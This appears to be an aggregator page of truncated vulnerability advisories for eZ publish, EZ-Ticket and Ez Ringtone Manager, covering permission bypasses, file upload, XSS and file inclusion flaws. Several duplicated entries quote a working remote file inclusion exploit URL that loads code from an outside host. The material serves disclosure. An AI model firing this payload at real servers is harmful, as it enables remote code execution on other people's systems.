CVE-2005-4853: Undefined Security Weakness

The default configuration of the forum package in eZ publish 3.5 before 3.5.5, 3.6 before 3.6.2, 3.7 before 3.7.0rc2, and 3.8 before 20050818 does not restrict edit permissions to a posting's owner, which allows remote authenticated users to edit arbitrary postings...

CVE-2006-7218: Undefined Security Weakness

eZ publish before 3.8.1 does not properly enforce permissions for "content edit Language" when there are four or more languages, which allows remote authenticated users to perform translations into languages that are not listed in a Module Function Limitation policy...

CVE-2005-4855: Undefined Security Weakness

Unrestricted file upload vulnerability in eZ publish 3.5 before 3.5.5, 3.6 before 3.6.2, 3.7 before 3.7.0rc2, and 3.8 before 20050922 does not restrict Image datatype uploads to image content types, which allows remote authenticated users to upload certain types of files, as demonstrated by .js...

CVE-2006-7219: Undefined Security Weakness

eZ publish before 3.8.5 does not properly enforce permissions for editing in a specific language, which allows remote authenticated users to create a draft in an unauthorized language by editing an archived version of an object, and then using Manage Versions to copy this version to a new draft...

CVE-2005-4856: Undefined Security Weakness

The admin interface in eZ publish 3.5 before 3.5.7, 3.6 before 3.6.5, 3.7 before 3.7.3, and 3.8 before 20051110 does not properly handle authorization errors, which allows remote attackers to obtain sensitive information and see the admin pagelayout and associated templates via a request with 1...

CVE-2005-4850: Undefined Security Weakness

eZ publish 3.5 through 3.7 before 20050608 requires both edit and create permissions in order to submit data, which allows remote attackers to edit data submitted by arbitrary anonymous users...

CVE-2005-4851: Improper Authentication

eZ publish 3.4.4 through 3.7 before 20050722 applies certain permissions on the node level, which allows remote authenticated users to bypass the original permissions on embedded objects in XML fields and read these objects...

CVE-2005-4852: Undefined Security Weakness

The siteaccess URIMatching implementation in eZ publish 3.5 through 3.8 before 20050812 converts all non-alphanumeric characters in a URI to '' underscore, which allows remote attackers to bypass access restrictions by inserting certain characters in a URI, as demonstrated by a request for...

Unfixed XSS vulnerability at ez-net.com.br

Security researcher KaBuS, has submitted on 07/03/2007 a cross-site-scripting XSS vulnerability affecting ez-net.com.br, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/03/2007. It is currently unfixe...

CVE-2006-5523

PHP remote file inclusion vulnerability in common.php in EZ-Ticket 0.0.1 allows remote attackers to execute arbitrary PHP code via a URL in the eztrootpath parameter...

CVE-2006-5523

EZ-Ticket 0.0.1 is affected by a PHP remote file inclusion (RFI) vulnerability in common.php, allowing remote attackers to execute arbitrary PHP code via a URL in the ezt_root_path parameter. This CVE-2006-5523 issue yields a high impact (base score 7.5) with network access and no authentication....

CVE-2006-5523

PHP remote file inclusion vulnerability in common.php in EZ-Ticket 0.0.1 allows remote attackers to execute arbitrary PHP code via a URL in the eztrootpath parameter...

CVE-2006-5523: Undefined Security Weakness

PHP remote file inclusion vulnerability in common.php in EZ-Ticket 0.0.1 allows remote attackers to execute arbitrary PHP code via a URL in the eztrootpath parameter...

EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability

EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...

EZ-Ticket 0.0.1 - common.php Remote File Inclusion

EZ-Ticket 0.0.1 - common.php Remote File Inclusion EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...

EZ-Ticket 0.0.1 (common.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================== EZ-Ticket 0.0.1 common.php Remote File Include Vulnerability ============================================================== EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability...

EZ-Ticket 0.0.1 - 'common.php' Remote File Inclusion

EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...

EZ-Ticket 0.0.1 (common.php) Remote File Include Vulnerability

No description provided by source. EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...

CVE-2006-3004

Multiple cross-site scripting XSS vulnerabilities in Ez Ringtone Manager allow remote attackers to inject arbitrary web script or HTML via the 1 id parameter in player.php and 2 keyword parameter when performing a search...

CVE-2006-3004

Multiple cross-site scripting XSS vulnerabilities in Ez Ringtone Manager allow remote attackers to inject arbitrary web script or HTML via the 1 id parameter in player.php and 2 keyword parameter when performing a search...